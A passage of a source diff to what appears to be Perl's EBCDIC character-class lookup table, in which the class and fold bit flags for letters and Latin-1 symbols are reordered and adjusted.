(1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR), -/* 0x98 U+71 'q' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR), -/* 0x99 U+72 'r' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR), -/* 0x9A U+AA I8=CD FEMININE ORDINAL */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_START), -/* 0x9B U+BA I8=CE MASCULINE ORDINAL */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_START), -/* 0x9C U+E6 I8=CF ae */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_START), +/* 0x91 U+6A 'j' */ (1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_NON_FINAL_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* 0x92 U+6B 'k' */ (1U<<_CC_NONLATIN1_SIMPLE_FOLD)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* 0x93 U+6C 'l' */ (1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* 0x94 U+6D 'm' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* 0x95 U+6E 'n' */ (1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* 0x96 U+6F 'o' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* 0x97 U+70 'p' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* 0x98 U+71 'q' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* 0x99 U+72 'r' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* 0x9A U+AA I8=CD FEMININE ORDINAL */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_START), +/* 0x9B U+BA I8=CE MASCULINE ORDINAL */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_START), +/* 0x9C U+E6 I8=CF ae */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_START), /* 0x9D U+B8 I8=D0 CEDILLA */ (1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_UTF8_IS_START), -/* 0x9E U+C6 I8=D1 AE */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_START), +/* 0x9E U+C6 I8=D1 AE */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_START), /* 0x9F U+A4 I8=D2 CURRENCY */ (1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_QUOTEMETA)|(1U<<_CC_UTF8_IS_START), -/* 0xA0 U+B5 I8=D3 MICRO */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_NONLATIN1_SIMPLE_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_START), +/* 0xA0 U+B5 I8=D3 MICRO */ (1U<<_CC_NONLATIN1_SIMPLE_FOLD)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_START), /* 0xA1 U+7E '~' */ (1U<<_CC_ASCII)|(1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_PUNCT)|(1U<<_CC_QUOTEMETA), -/* 0xA2 U+73 's' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_NONLATIN1_SIMPLE_FOLD)|(1U<<_CC_NON_FINAL_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR), -/* 0xA3 U+74 't' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_NON_FINAL_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR), -/* 0xA4 U+75 'u' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR), -/* 0xA5 U+76 'v' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR), -/* 0xA6 U+77 'w' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_NON_FINAL_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR), -/* 0xA7 U+78 'x' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR), -/* 0xA8 U+79 'y' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_NON_FINAL_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR), -/* 0xA9 U+7A 'z' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR), +/* 0xA2 U+73 's' */ (1U<<_CC_NONLATIN1_SIMPLE_FOLD)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_NON_FINAL_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* 0xA3 U+74 't' */ (1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_NON_FINAL_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* 0xA4 U+75 'u' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* 0xA5 U+76 'v' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* 0xA6 U+77 'w' */ (1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_NON_FINAL_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* 0xA7 U+78 'x' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* 0xA8 U+79 'y' */ (1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_NON_FINAL_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* 0xA9 U+7A 'z' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), /* 0xAA U+A1 I8=D4 INVERTED '!' */ (1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_PUNCT)|(1U<<_CC_QUOTEMETA)|(1U<<_CC_UTF8_IS_START), /* 0xAB U+BF I8=D5 INVERTED '?' */ (1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_PUNCT)|(1U<<_CC_QUOTEMETA)|(1U<<_CC_UTF8_IS_START), -/* 0xAC U+D0 I8=D6 ETH */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_START), +/* 0xAC U+D0 I8=D6 ETH */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_START), /* 0xAD U+5B '[' */ (1U<<_CC_ASCII)|(1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_PUNCT)|(1U<<_CC_QUOTEMETA), -/* 0xAE U+DE I8=D7 THORN */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_START), +/* 0xAE U+DE I8=D7 THORN */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_START), /* 0xAF U+AE I8=D8 REGISTERED */ (1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_QUOTEMETA)|(1U<<_CC_UTF8_IS_START), /* 0xB0 U+AC I8=D9 NOT */ (1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_QUOTEMETA)|(1U<<_CC_UTF8_IS_START), /* 0xB1 U+A3 I8=DA POUND */ (1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_QUOTEMETA)|(1U<<_CC_UTF8_IS_START), @@ -457,60 +457,60 @@ /* 0xB7 U+BC I8=E0 1/4 */ (1U<<_CC_GRAPH)|(1U<<_CC_PRINT), /* 0xB8 U+BD I8=E1 1/2 */ (1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_UTF8_IS_START), /* 0xB9 U+BE I8=E2 3/4 */ (1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_UTF8_IS_START), -/* 0xBA U+DD I8=E3 Y with ACUTE */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_START), +/* 0xBA U+DD I8=E3 Y with ACUTE */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_START), /* 0xBB U+A8 I8=E4 DIAERESIS */ (1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_UTF8_IS_START), /* 0xBC U+AF I8=E5 MACRON */ (1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_UTF8_IS_START), /* 0xBD U+5D ']' */ (1U<<_CC_ASCII)|(1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_PUNCT)|(1U<<_CC_QUOTEMETA), /* 0xBE U+B4 I8=E6 ACUTE ACCENT */ (1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_UTF8_IS_START), /* 0xBF U+D7 I8=E7 MULTIPLICATION */ (1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_QUOTEMETA)|(1U<<_CC_UTF8_IS_START), /* 0xC0 U+7B '{' */ (1U<<_CC_ASCII)|(1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_PUNCT)|(1U<<_CC_QUOTEMETA), -/* 0xC1 U+41 'A' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_NON_FINAL_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_XDIGIT), -/* 0xC2 U+42 'B' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_XDIGIT), -/* 0xC3 U+43 'C' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_XDIGIT), -/* 0xC4 U+44 'D' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_XDIGIT), -/* 0xC5 U+45 'E' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_XDIGIT), -/* 0xC6 U+46 'F' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_NON_FINAL_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_XDIGIT), -/* 0xC7 U+47 'G' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR), -/* 0xC8 U+48 'H' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_NON_FINAL_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR), -/* 0xC9 U+49 'I' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_NON_FINAL_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR), +/* 0xC1 U+41 'A' */ (1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_NON_FINAL_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_XDIGIT)|(1U<<_CC_IS_IN_SOME_FOLD), +/* 0xC2 U+42 'B' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_XDIGIT)|(1U<<_CC_IS_IN_SOME_FOLD), +/* 0xC3 U+43 'C' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_XDIGIT)|(1U<<_CC_IS_IN_SOME_FOLD), +/* 0xC4 U+44 'D' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_XDIGIT)|(1U<<_CC_IS_IN_SOME_FOLD), +/* 0xC5 U+45 'E' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_XDIGIT)|(1U<<_CC_IS_IN_SOME_FOLD), +/* 0xC6 U+46 'F' */ 